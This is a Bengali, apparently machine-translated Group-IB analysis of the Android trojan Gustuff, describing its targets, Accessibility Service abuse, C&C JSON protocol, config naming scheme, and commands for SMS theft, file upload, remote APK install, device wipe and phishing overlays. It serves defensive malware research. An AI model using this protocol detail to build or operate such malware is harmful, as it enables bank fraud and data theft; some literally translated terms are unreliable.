কিভাবে Android Trojan Gustuff আপনার অ্যাকাউন্ট থেকে ক্রিম (fiat এবং crypto) স্কিম করে

ঠিক অন্যদিন গ্রুপ-আইবি অবগত মোবাইল অ্যান্ড্রয়েড ট্রোজান Gustuff কার্যকলাপ সম্পর্কে. এটি আন্তর্জাতিক বাজারে একচেটিয়াভাবে কাজ করে, 100টি বৃহত্তম বিদেশী ব্যাঙ্কের ক্লায়েন্ট, মোবাইল 32 ক্রিপ্টো ওয়ালেট ব্যবহারকারীদের এবং সেইসাথে বড় ই-কমার্স সংস্থানগুলির উপর আক্রমণ করে। কিন্তু Gustuff এর বিকাশকারী একজন রাশিয়ান-ভাষী সাইবার অপরাধী যিনি ডাকনাম বেস্টঅফার। সম্প্রতি অবধি, তিনি তার ট্রোজানকে "জ্ঞান এবং অভিজ্ঞতা সম্পন্ন লোকদের জন্য একটি গুরুতর পণ্য" হিসাবে প্রশংসা করেছিলেন।

গ্রুপ-আইবি-তে দূষিত কোড বিশ্লেষণ বিশেষজ্ঞ ইভান পিসারেভ তার গবেষণায়, তিনি Gustuff কিভাবে কাজ করে এবং এর বিপদগুলি সম্পর্কে বিস্তারিতভাবে কথা বলেন।

Gustuff কার জন্য শিকার?

Gustuff সম্পূর্ণরূপে স্বয়ংক্রিয় ফাংশন সহ ম্যালওয়ারের একটি নতুন প্রজন্মের অন্তর্গত। বিকাশকারীর মতে, ট্রোজান অ্যান্ডিবট ম্যালওয়্যারের একটি নতুন এবং উন্নত সংস্করণে পরিণত হয়েছে, যেটি নভেম্বর 2017 থেকে অ্যান্ড্রয়েড ফোনে আক্রমণ করছে এবং ফিশিং ওয়েব ফর্মগুলির মাধ্যমে অর্থ চুরি করছে যা সুপরিচিত আন্তর্জাতিক ব্যাঙ্ক এবং পেমেন্ট সিস্টেমের মোবাইল অ্যাপ্লিকেশন হিসাবে ছদ্মবেশী হয়ে উঠেছে। বেস্টঅফার জানিয়েছে যে Gustuff Bot ভাড়ার মূল্য প্রতি মাসে $800 ছিল।

Gustuff নমুনার বিশ্লেষণে দেখা গেছে যে ট্রোজান সম্ভাব্যভাবে ব্যাংক অফ আমেরিকা, ব্যাঙ্ক অফ স্কটল্যান্ড, জেপিমরগান, ওয়েলস ফার্গো, ক্যাপিটাল ওয়ান, টিডি ব্যাঙ্ক, পিএনসি ব্যাঙ্ক এবং সেইসাথে ক্রিপ্টো ওয়ালেটগুলির মতো বৃহত্তম ব্যাঙ্কগুলির মোবাইল অ্যাপ্লিকেশনগুলি ব্যবহার করে গ্রাহকদের লক্ষ্য করছে৷ বিটকয়েন ওয়ালেট, বিটপে, ক্রিপ্টোপে, কয়েনবেস ইত্যাদি।

মূলত একটি ক্লাসিক ব্যাঙ্কিং ট্রোজান হিসাবে তৈরি করা হয়েছিল, এর বর্তমান সংস্করণে Gustuff আক্রমণের সম্ভাব্য লক্ষ্যগুলির তালিকা উল্লেখযোগ্যভাবে প্রসারিত করেছে। ব্যাঙ্ক, ফিনটেক কোম্পানি এবং ক্রিপ্টো পরিষেবাগুলির জন্য অ্যান্ড্রয়েড অ্যাপ্লিকেশন ছাড়াও, Gustuff-এর লক্ষ্য মার্কেটপ্লেস অ্যাপ্লিকেশন, অনলাইন স্টোর, পেমেন্ট সিস্টেম এবং ইনস্ট্যান্ট মেসেঞ্জারদের জন্য। বিশেষ করে, পেপ্যাল, ওয়েস্টার্ন ইউনিয়ন, ইবে, ওয়ালমার্ট, স্কাইপ, হোয়াটসঅ্যাপ, গেট ট্যাক্সি, রেভলুট এবং অন্যান্য।

এন্ট্রি পয়েন্ট: গণ সংক্রমণের জন্য গণনা

Gustuff-এ APK-এর লিঙ্ক সহ এসএমএস মেলিংয়ের মাধ্যমে অ্যান্ড্রয়েড স্মার্টফোনে অনুপ্রবেশের "ক্লাসিক" ভেক্টর দ্বারা চিহ্নিত করা হয়। যখন একটি অ্যান্ড্রয়েড ডিভাইস সার্ভারের নির্দেশে একটি ট্রোজান দ্বারা সংক্রামিত হয়, তখন Gustuff আরও সংক্রামিত ফোনের যোগাযোগের ডাটাবেসের মাধ্যমে বা সার্ভার ডাটাবেসের মাধ্যমে ছড়িয়ে পড়তে পারে। Gustuff-এর কার্যকারিতা ব্যাপক সংক্রমণ এবং এর অপারেটরদের ব্যবসার সর্বাধিক মূলধনের জন্য ডিজাইন করা হয়েছে - বৈধ মোবাইল ব্যাঙ্কিং অ্যাপ্লিকেশন এবং ক্রিপ্টো ওয়ালেটগুলিতে এটির একটি অনন্য "অটো-ফিল" ফাংশন রয়েছে, যা আপনাকে অর্থ চুরির গতি বাড়াতে এবং স্কেল করতে দেয়।

ট্রোজানের একটি গবেষণায় দেখা গেছে যে অটোফিল ফাংশনটি অ্যাক্সেসিবিলিটি পরিষেবা ব্যবহার করে এটিতে প্রয়োগ করা হয়েছিল, প্রতিবন্ধীদের জন্য একটি পরিষেবা৷ Gustuff প্রথম ট্রোজান নন যিনি এই অ্যান্ড্রয়েড পরিষেবা ব্যবহার করে অন্যান্য অ্যাপ্লিকেশনের উইন্ডো উপাদানগুলির সাথে মিথস্ক্রিয়া থেকে সুরক্ষা সফলভাবে বাইপাস করেছেন৷ যাইহোক, একটি গাড়ী ফিলারের সাথে একযোগে অ্যাক্সেসিবিলিটি পরিষেবার ব্যবহার এখনও বেশ বিরল।

শিকারের ফোনে ডাউনলোড করার পরে, অ্যাক্সেসিবিলিটি পরিষেবা ব্যবহার করে Gustuff অন্যান্য অ্যাপ্লিকেশনগুলির (ব্যাংকিং, ক্রিপ্টোকারেন্সি, সেইসাথে অনলাইন শপিং, মেসেজিং, ইত্যাদি) এর উইন্ডো উপাদানগুলির সাথে যোগাযোগ করতে সক্ষম হয়, আক্রমণকারীদের জন্য প্রয়োজনীয় ক্রিয়া সম্পাদন করে . উদাহরণস্বরূপ, সার্ভারের কমান্ডে, একটি ট্রোজান বোতাম টিপতে পারে এবং ব্যাঙ্কিং অ্যাপ্লিকেশনগুলিতে পাঠ্য ক্ষেত্রের মান পরিবর্তন করতে পারে। অ্যাকসেসিবিলিটি সার্ভিস মেকানিজম ব্যবহার করে ট্রোজানকে আগের প্রজন্মের মোবাইল ট্রোজানগুলির মোকাবিলায় ব্যাঙ্কগুলির দ্বারা ব্যবহৃত নিরাপত্তা ব্যবস্থাকে বাইপাস করার অনুমতি দেয়, সেইসাথে Android OS-এর নতুন সংস্করণগুলিতে Google দ্বারা প্রয়োগ করা নিরাপত্তা নীতিতে পরিবর্তনগুলি। এইভাবে, Gustuff "জানে কিভাবে" Google Protect সুরক্ষা অক্ষম করতে হয়: লেখকের মতে, এই ফাংশনটি 70% ক্ষেত্রে কাজ করে।

Gustuff বৈধ মোবাইল অ্যাপ্লিকেশনের আইকন সহ জাল PUSH বিজ্ঞপ্তিগুলিও প্রদর্শন করতে পারে৷ ব্যবহারকারী পুশ বিজ্ঞপ্তিতে ক্লিক করেন এবং সার্ভার থেকে ডাউনলোড করা একটি ফিশিং উইন্ডো দেখতে পান, যেখানে তিনি অনুরোধ করা ব্যাঙ্ক কার্ড বা ক্রিপ্টো ওয়ালেট ডেটা প্রবেশ করেন৷ আরেকটি Gustuff দৃশ্যে, যে অ্যাপ্লিকেশনটির পক্ষে PUSH বিজ্ঞপ্তি প্রদর্শিত হয়েছিল সেটি খোলা হয়েছে। এই ক্ষেত্রে, অ্যাক্সেসিবিলিটি পরিষেবার মাধ্যমে সার্ভার থেকে নির্দেশিত ম্যালওয়্যার, একটি প্রতারণামূলক লেনদেনের জন্য একটি ব্যাঙ্কিং অ্যাপ্লিকেশনের ফর্ম ক্ষেত্রগুলি পূরণ করতে পারে৷

Gustuff এর কার্যকারিতার মধ্যে সার্ভারে একটি সংক্রামিত ডিভাইস সম্পর্কে তথ্য পাঠানো, এসএমএস বার্তা পড়ার/পাঠানোর ক্ষমতা, USSD অনুরোধ পাঠানো, SOCKS5 প্রক্সি চালু করা, একটি লিঙ্ক অনুসরণ করা, ফাইল পাঠানো (ডকুমেন্টের ফটো স্ক্যান, স্ক্রিনশট, ফটোগ্রাফ সহ) অন্তর্ভুক্ত রয়েছে। সার্ভার, ডিভাইসটিকে ফ্যাক্টরি সেটিংসে রিসেট করুন।

ম্যালওয়্যার বিশ্লেষণ

একটি দূষিত অ্যাপ্লিকেশন ইনস্টল করার আগে, Android OS ব্যবহারকারীকে Gustuff দ্বারা অনুরোধ করা অধিকারগুলির একটি তালিকা সম্বলিত একটি উইন্ডো দেখায়:

ব্যবহারকারীর সম্মতি পাওয়ার পরেই অ্যাপ্লিকেশনটি ইনস্টল করা হবে। অ্যাপ্লিকেশন চালু করার পরে, ট্রোজান ব্যবহারকারীকে একটি উইন্ডো দেখাবে:

এর পরে এটি তার আইকনটি সরিয়ে ফেলবে।

লেখকের মতে, FTT থেকে একজন প্যাকার দ্বারা Gustuff প্যাক করা হয়। স্টার্টআপের পরে, অ্যাপ্লিকেশনটি পর্যায়ক্রমে CnC সার্ভারের সাথে কমান্ড গ্রহণের জন্য যোগাযোগ করে। আমাদের পরীক্ষা করা বেশ কয়েকটি ফাইল কন্ট্রোল সার্ভার হিসাবে একটি আইপি ঠিকানা ব্যবহার করেছে 88.99.171[।]105 (এখন আমরা এটি হিসাবে চিহ্নিত করব <%CnC%>).

লঞ্চের পরে, প্রোগ্রামটি সার্ভারে বার্তা পাঠাতে শুরু করে http://<%CnC%>/api/v1/get.php.

প্রতিক্রিয়া নিম্নলিখিত বিন্যাসে JSON হতে প্রত্যাশিত:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

প্রতিবার অ্যাপ্লিকেশনটি অ্যাক্সেস করা হলে, এটি সংক্রামিত ডিভাইস সম্পর্কে তথ্য পাঠায়। বার্তা বিন্যাস নীচে দেখানো হয়েছে. এটা যে ক্ষেত্র লক্ষনীয় মূল্য সম্পূর্ণ, অতিরিক্ত, অ্যাপস и অনুমতি - ঐচ্ছিক এবং শুধুমাত্র CnC থেকে অনুরোধ কমান্ডের ক্ষেত্রে পাঠানো হবে।

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

কনফিগারেশন ডেটা সংরক্ষণ করা হচ্ছে

Gustuff একটি পছন্দ ফাইলে কার্যকরীভাবে গুরুত্বপূর্ণ তথ্য সঞ্চয় করে। ফাইলের নাম, সেইসাথে এতে থাকা প্যারামিটারগুলির নামগুলি হল স্ট্রিং থেকে MD5 যোগফল গণনা করার ফলাফল 15413090667214.6.1<%name%>যেখানে <%name%> - প্রাথমিক নাম-মান। নাম প্রজন্ম ফাংশনের পাইথন ব্যাখ্যা:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

নিম্নলিখিত আমরা এটি হিসাবে চিহ্নিত করা হবে নাম জেনারেটর (ইনপুট).
তাই প্রথম ফাইলের নাম হল: নাম জেনারেটর("API_SERVER_LIST"), এতে নিম্নলিখিত নামের মান রয়েছে:

পরিবর্তনশীল নাম	মান
নাম জেনারেটর("API_SERVER_LIST")	একটি অ্যারের আকারে CnC ঠিকানাগুলির একটি তালিকা রয়েছে৷
nameGenerator("API_SERVER_URL")	CnC ঠিকানা রয়েছে।
নাম জেনারেটর("SMS_UPLOAD")	পতাকা ডিফল্টরূপে সেট করা হয়. পতাকা সেট করা থাকলে, CnC-তে SMS বার্তা পাঠায়।
নাম জেনারেটর("SMS_ROOT_NUMBER")	যে ফোন নম্বরে সংক্রমিত ডিভাইস দ্বারা প্রাপ্ত এসএমএস বার্তা পাঠানো হবে। ডিফল্ট শূন্য.
নাম জেনারেটর("SMS_ROOT_NUMBER_RESEND")	পতাকাটি ডিফল্টরূপে সাফ করা হয়। যদি ইনস্টল করা হয়, একটি সংক্রামিত ডিভাইস যখন একটি এসএমএস পায়, এটি রুট নম্বরে পাঠানো হবে।
নাম জেনারেটর("DEFAULT_APP_SMS")	পতাকাটি ডিফল্টরূপে সাফ করা হয়। এই পতাকা সেট করা থাকলে, অ্যাপ্লিকেশনটি ইনকামিং SMS বার্তাগুলিকে প্রক্রিয়া করবে৷
nameGenerator("DEFAULT_ADMIN")	পতাকাটি ডিফল্টরূপে সাফ করা হয়। পতাকা সেট করা থাকলে, অ্যাপ্লিকেশনটির প্রশাসকের অধিকার রয়েছে।
nameGenerator("DEFAULT_ACCESSIBILITY")	পতাকাটি ডিফল্টরূপে সাফ করা হয়। পতাকা সেট করা থাকলে, অ্যাক্সেসিবিলিটি পরিষেবা ব্যবহার করে একটি পরিষেবা চলছে৷
নাম জেনারেটর("APPS_CONFIG")	একটি JSON অবজেক্ট যাতে একটি নির্দিষ্ট অ্যাপ্লিকেশনের সাথে যুক্ত একটি অ্যাক্সেসিবিলিটি ইভেন্ট ট্রিগার করা হলে এমন ক্রিয়াগুলির একটি তালিকা থাকে যা অবশ্যই করা উচিত৷
নাম জেনারেটর("APPS_INSTALLED")	ডিভাইসে ইনস্টল করা অ্যাপ্লিকেশনের একটি তালিকা সংরক্ষণ করে।
নাম জেনারেটর("IS_FIST_RUN")	প্রথম শুরুতে পতাকা রিসেট করা হয়।
নাম জেনারেটর("UNIQUE_ID")	একটি অনন্য শনাক্তকারী রয়েছে৷ প্রথমবার বট চালু হলে জেনারেট হয়।

সার্ভার থেকে আদেশ প্রক্রিয়াকরণের জন্য মডিউল

অ্যাপ্লিকেশনটি এনকোড করা অ্যারের আকারে CnC সার্ভারের ঠিকানা সংরক্ষণ করে বেস85 লাইন উপযুক্ত কমান্ড প্রাপ্তির পরে CnC সার্ভারের তালিকা পরিবর্তন করা যেতে পারে, এই ক্ষেত্রে ঠিকানাগুলি একটি পছন্দ ফাইলে সংরক্ষণ করা হবে।

অনুরোধের জবাবে, সার্ভার অ্যাপ্লিকেশনটিতে একটি কমান্ড পাঠায়। এটা লক্ষনীয় যে কমান্ড এবং প্যারামিটার JSON বিন্যাসে উপস্থাপিত হয়. অ্যাপ্লিকেশন নিম্নলিখিত কমান্ড প্রক্রিয়া করতে পারে:

টীম	বিবরণ
ফরোয়ার্ডস্টার্ট	সংক্রামিত ডিভাইস দ্বারা প্রাপ্ত এসএমএস বার্তা CnC সার্ভারে পাঠানো শুরু করুন।
ফরোয়ার্ডস্টপ	সিএনসি সার্ভারে সংক্রামিত ডিভাইস দ্বারা প্রাপ্ত এসএমএস বার্তা পাঠানো বন্ধ করুন।
ussdRun	USSD অনুরোধ চালান। যে নম্বরটিতে আপনাকে একটি USSD অনুরোধ করতে হবে সেটি JSON ফিল্ডে অবস্থিত "নম্বর"।
এসএমএস পাঠান	একটি এসএমএস বার্তা পাঠান (যদি প্রয়োজন হয়, বার্তাটি অংশে "বিভক্ত" হয়)। একটি পরামিতি হিসাবে, কমান্ডটি একটি JSON অবজেক্ট নেয় যেখানে ক্ষেত্রগুলি "টু" - গন্তব্য নম্বর এবং "বডি" - বার্তার মূল অংশ।
SmsAb পাঠান	সংক্রামিত ডিভাইসের যোগাযোগের তালিকায় থাকা প্রত্যেকের কাছে এসএমএস বার্তা পাঠান (প্রয়োজনে, বার্তাটি "বিভক্ত" হয়)। বার্তা পাঠানোর মধ্যে ব্যবধান 10 সেকেন্ড। বার্তাটির মূল অংশটি JSON ক্ষেত্রে "বডি" এ রয়েছে
SmsMass পাঠান	কমান্ড প্যারামিটারে নির্দিষ্ট পরিচিতিগুলিতে এসএমএস বার্তা পাঠান (যদি প্রয়োজন হয়, বার্তাটি "বিভক্ত" হয়)। বার্তা পাঠানোর মধ্যে ব্যবধান 10 সেকেন্ড। একটি পরামিতি হিসাবে, কমান্ডটি একটি JSON অ্যারে ("sms" ক্ষেত্র) নেয়, যার উপাদানগুলিতে "to" - গন্তব্য নম্বর এবং "বডি" - বার্তার মূল ক্ষেত্র থাকে।
পরিবর্তন সার্ভার	এই কমান্ডটি প্যারামিটার হিসাবে কী "url" এর সাথে একটি মান নিতে পারে - তারপর বট nameGenerator("SERVER_URL"), বা "অ্যারে" এর মান পরিবর্তন করবে - তারপর বট অ্যারেটিকে nameGenerator ("API_SERVER_LIST") এ লিখবে। এইভাবে, অ্যাপ্লিকেশন CnC সার্ভারের ঠিকানা পরিবর্তন করে।
অ্যাডমিন নম্বর	কমান্ডটি রুট নম্বর দিয়ে কাজ করার জন্য ডিজাইন করা হয়েছে। কমান্ডটি নিম্নলিখিত পরামিতি সহ একটি JSON অবজেক্ট গ্রহণ করে: "সংখ্যা" - প্রাপ্ত মানতে নাম জেনারেটর("ROOT_NUMBER") পরিবর্তন করুন, "পুনরায় পাঠান" - নাম জেনারেটর পরিবর্তন করুন("SMS_ROOT_NUMBER_RESEND"), "sendId" - nameGenerator("ROOT_NUMBER" এ পাঠান) ) অনন্য আইডি.
আপডেট তথ্য	সার্ভারে সংক্রমিত ডিভাইস সম্পর্কে তথ্য পাঠান।
মুছে ফেল	কমান্ডটি ব্যবহারকারীর ডেটা মুছে ফেলার উদ্দেশ্যে। অ্যাপ্লিকেশনটি কী নামে চালু করা হয়েছিল তার উপর নির্ভর করে, হয় ডিভাইস রিবুট (প্রাথমিক ব্যবহারকারী) দিয়ে ডেটা সম্পূর্ণরূপে মুছে ফেলা হয়, অথবা শুধুমাত্র ব্যবহারকারীর ডেটা মুছে ফেলা হয় (সেকেন্ডারি ব্যবহারকারী)।
socksStart	প্রক্সি মডিউল চালু করুন। মডিউলটির ক্রিয়াকলাপ একটি পৃথক বিভাগে বর্ণিত হয়েছে।
মোজাস্টপ	প্রক্সি মডিউল বন্ধ করুন।
খোলা সংযুক্তি	লিঙ্ক অনুসরণ করুন. লিঙ্কটি "url" কী-এর অধীনে JSON প্যারামিটারে অবস্থিত। লিঙ্কটি খুলতে "android.intent.action.VIEW" ব্যবহার করা হয়।
সমস্ত এসএমএস আপলোড করুন	ডিভাইস দ্বারা প্রাপ্ত সমস্ত এসএমএস বার্তা সার্ভারে পাঠান।
সমস্ত ফটো আপলোড করুন	একটি সংক্রামিত ডিভাইস থেকে একটি URL এ ছবি পাঠান. URL একটি প্যারামিটার হিসাবে আসে।
ফাইল আপলোড করুন	একটি সংক্রামিত ডিভাইস থেকে একটি URL এ একটি ফাইল পাঠান. URL একটি প্যারামিটার হিসাবে আসে।
ফোন নম্বর আপলোড করুন	আপনার পরিচিতি তালিকা থেকে সার্ভারে ফোন নম্বর পাঠান। যদি "ab" কী সহ একটি JSON অবজেক্ট মান একটি প্যারামিটার হিসাবে প্রাপ্ত হয়, অ্যাপ্লিকেশনটি ফোন বুক থেকে পরিচিতিগুলির একটি তালিকা পায়৷ যদি "sms" কী সহ একটি JSON অবজেক্ট একটি প্যারামিটার হিসাবে প্রাপ্ত হয়, তাহলে অ্যাপ্লিকেশনটি এসএমএস বার্তা প্রেরকদের থেকে পরিচিতির তালিকা পড়ে।
চেঞ্জ আর্কাইভ	অ্যাপ্লিকেশনটি "url" কী ব্যবহার করে প্যারামিটার হিসাবে আসা ঠিকানা থেকে ফাইলটি ডাউনলোড করে। ডাউনলোড করা ফাইলটি “archive.zip” নামে সংরক্ষিত হয়। অ্যাপ্লিকেশন তারপর ফাইলটি আনজিপ করবে, ঐচ্ছিকভাবে আর্কাইভ পাসওয়ার্ড "b5jXh37gxgHBrZhQ4j3D" ব্যবহার করে। আনজিপ করা ফাইলগুলি [বাহ্যিক সঞ্চয়স্থান]/hgps ডিরেক্টরিতে সংরক্ষিত হয়। এই ডিরেক্টরিতে, অ্যাপ্লিকেশন ওয়েব জাল সঞ্চয় করে (নীচে বর্ণিত)।
স্টক	কমান্ডটি অ্যাকশন সার্ভিসের সাথে কাজ করার জন্য ডিজাইন করা হয়েছে, যা একটি পৃথক বিভাগে বর্ণিত হয়েছে।
পরীক্ষা	কিছু করতেছি না.
ডাউনলোড	কমান্ডটি একটি দূরবর্তী সার্ভার থেকে একটি ফাইল ডাউনলোড করার এবং "ডাউনলোড" ডিরেক্টরিতে সংরক্ষণ করার উদ্দেশ্যে। URL এবং ফাইলের নাম একটি প্যারামিটার হিসাবে আসে, JSON প্যারামিটার অবজেক্টের ক্ষেত্রগুলি যথাক্রমে: "url" এবং "fileName"৷
অপসারণ	"ডাউনলোড" ডিরেক্টরি থেকে একটি ফাইল সরিয়ে দেয়। ফাইলের নাম "fileName" কী সহ একটি JSON প্যারামিটারে আসে। স্ট্যান্ডার্ড ফাইলের নাম হল "tmp.apk"।
প্রজ্ঞাপন	ম্যানেজমেন্ট সার্ভার দ্বারা সংজ্ঞায়িত বিবরণ এবং শিরোনাম পাঠ্য সহ একটি বিজ্ঞপ্তি দেখান।

কমান্ড বিন্যাস প্রজ্ঞাপন:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

তদন্তাধীন ফাইল দ্বারা উত্পন্ন বিজ্ঞপ্তিটি ক্ষেত্রে নির্দিষ্ট করা অ্যাপ্লিকেশন দ্বারা উত্পন্ন বিজ্ঞপ্তিগুলির সাথে অভিন্ন দেখায় অ্যাপ্লিকেশন. যদি ক্ষেত্রের মান এপ খোল — সত্য, যখন একটি বিজ্ঞপ্তি খোলা হয়, ক্ষেত্রে নির্দিষ্ট করা অ্যাপ্লিকেশনটি চালু হয়৷ অ্যাপ্লিকেশন. যদি ক্ষেত্রের মান এপ খোল - মিথ্যা, তারপর:

• একটি ফিশিং উইন্ডো খোলে, যার বিষয়বস্তু ডিরেক্টরি থেকে ডাউনলোড করা হয় <% বাহ্যিক সঞ্চয়স্থান%>/hgps/<%filename%>
• একটি ফিশিং উইন্ডো খোলে, যার বিষয়বস্তু সার্ভার থেকে ডাউনলোড করা হয় <%url%>?id=<%Bot id%>&app=<%Application name%>
• একটি ফিশিং উইন্ডো খোলে, একটি Google Play কার্ডের ছদ্মবেশে, কার্ডের বিশদ বিবরণ প্রবেশ করার সুযোগ সহ।

অ্যাপ্লিকেশন কোন কমান্ডের ফলাফল পাঠায় <%CnC%>set_state.php নিম্নলিখিত বিন্যাসে একটি JSON অবজেক্ট হিসাবে:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

অ্যাকশন সার্ভিস
কমান্ডের তালিকা যা অ্যাপ্লিকেশন প্রক্রিয়াগুলি অন্তর্ভুক্ত করে কর্ম. একটি কমান্ড প্রাপ্ত হলে, কমান্ড প্রসেসিং মডিউল বর্ধিত কমান্ড চালানোর জন্য এই পরিষেবাটি অ্যাক্সেস করে। পরিষেবাটি একটি প্যারামিটার হিসাবে একটি JSON অবজেক্ট গ্রহণ করে। পরিষেবাটি নিম্নলিখিত কমান্ডগুলি চালাতে পারে:

1. PARAMS_ACTION — এই ধরনের কমান্ড পাওয়ার সময়, পরিষেবাটি প্রথমে JSON প্যারামিটার থেকে টাইপ কী-এর মান গ্রহণ করে, যা নিম্নরূপ হতে পারে:

• পরিষেবা তথ্য - সাবকমান্ড JSON প্যারামিটার থেকে কী দ্বারা মান পায় অন্তর্ভুক্ত গুরুত্বপূর্ণ নয়. পতাকা সত্য হলে, অ্যাপ্লিকেশনটি পতাকা সেট করে FLAG_ISOLATED_PROCESS অ্যাক্সেসিবিলিটি পরিষেবা ব্যবহার করে একটি পরিষেবাতে। এভাবে আলাদা প্রক্রিয়ায় সেবা চালু করা হবে।
• শিকড় — বর্তমানে ফোকাসে থাকা উইন্ডো সম্পর্কে সার্ভারের তথ্য গ্রহণ করুন এবং পাঠান। অ্যাপ্লিকেশনটি AccessibilityNodeInfo ক্লাস ব্যবহার করে তথ্য পায়।
• অ্যাডমিন - প্রশাসকের অধিকারের জন্য অনুরোধ করুন।
• বিলম্ব — “ডেটা” কী-র জন্য প্যারামিটারে নির্দিষ্ট মিলিসেকেন্ডের সংখ্যার জন্য অ্যাকশনসার্ভিস স্থগিত করুন।
• জানালা - ব্যবহারকারীর কাছে দৃশ্যমান উইন্ডোগুলির একটি তালিকা পাঠান।
• ইনস্টল - সংক্রমিত ডিভাইসে অ্যাপ্লিকেশন ইনস্টল করুন। সংরক্ষণাগার প্যাকেজের নাম "ফাইল নাম" কী-তে রয়েছে। সংরক্ষণাগার নিজেই ডাউনলোড ডিরেক্টরিতে অবস্থিত।
• বিশ্বব্যাপী - সাবকমান্ড বর্তমান উইন্ডো থেকে নেভিগেট করার উদ্দেশ্যে করা হয়েছে:
  • দ্রুত সেটিংস মেনুতে
  • পূর্বে
  • বাড়ি
  • বিজ্ঞপ্তিতে
  • সম্প্রতি খোলা অ্যাপ্লিকেশন উইন্ডোতে

• শুরু করা - অ্যাপ্লিকেশন চালু করুন। অ্যাপ্লিকেশন নামটি কী দ্বারা একটি প্যারামিটার হিসাবে আসে উপাত্ত.
• শব্দসমূহ - শব্দ মোড নীরবতায় পরিবর্তন করুন।
• আনলক — স্ক্রীন এবং কীবোর্ডের ব্যাকলাইট সম্পূর্ণ উজ্জ্বলতায় চালু করে। অ্যাপ্লিকেশনটি WakeLock ব্যবহার করে এই ক্রিয়াটি সম্পাদন করে, একটি ট্যাগ হিসাবে [Application lable]:INFO নির্দিষ্ট করে
• অনুমতি ওভারলে — ফাংশনটি বাস্তবায়িত হয়নি (কমান্ড কার্যকর করার প্রতিক্রিয়া হল {"message":"সমর্থন নয়"} বা {"message":"low sdk"})
• অঙ্গভঙ্গি — ফাংশনটি বাস্তবায়িত হয়নি (কমান্ড কার্যকর করার প্রতিক্রিয়া হল {"message":"Not support"}বা {"message":"low API"})
• অনুমতি — এই কমান্ডটি অ্যাপ্লিকেশনের জন্য অনুমতির অনুরোধ করার জন্য প্রয়োজনীয়। যাইহোক, ক্যোয়ারী ফাংশন প্রয়োগ করা হয় না, তাই কমান্ডটি অর্থহীন। অনুরোধ করা অধিকারের তালিকা "অনুমতি" কী সহ একটি JSON অ্যারে হিসাবে আসে৷ স্ট্যান্ডার্ড তালিকা:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.END_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• খোলা - একটি ফিশিং উইন্ডো প্রদর্শন করুন। সার্ভার থেকে আসা প্যারামিটারের উপর নির্ভর করে, অ্যাপ্লিকেশনটি নিম্নলিখিত ফিশিং উইন্ডোগুলি প্রদর্শন করতে পারে:
  • একটি ফিশিং উইন্ডো দেখান যার বিষয়বস্তু একটি ডিরেক্টরিতে একটি ফাইলে লেখা আছে <% বহিরাগত ডিরেক্টরি%>/hgps/<%param_filename%>. উইন্ডোর সাথে ব্যবহারকারীর ইন্টারঅ্যাকশনের ফলাফল পাঠানো হবে <%CnC%>/records.php
  • একটি ফিশিং উইন্ডো দেখান যার বিষয়বস্তু ঠিকানা থেকে প্রি-লোড করা হয় <%url_param%>?id=<%bot_id%>&app=<%packagename%>. উইন্ডোর সাথে ব্যবহারকারীর ইন্টারঅ্যাকশনের ফলাফল পাঠানো হবে <%CnC%>/records.php
  • Google Play কার্ডের ছদ্মবেশে একটি ফিশিং উইন্ডো দেখান৷

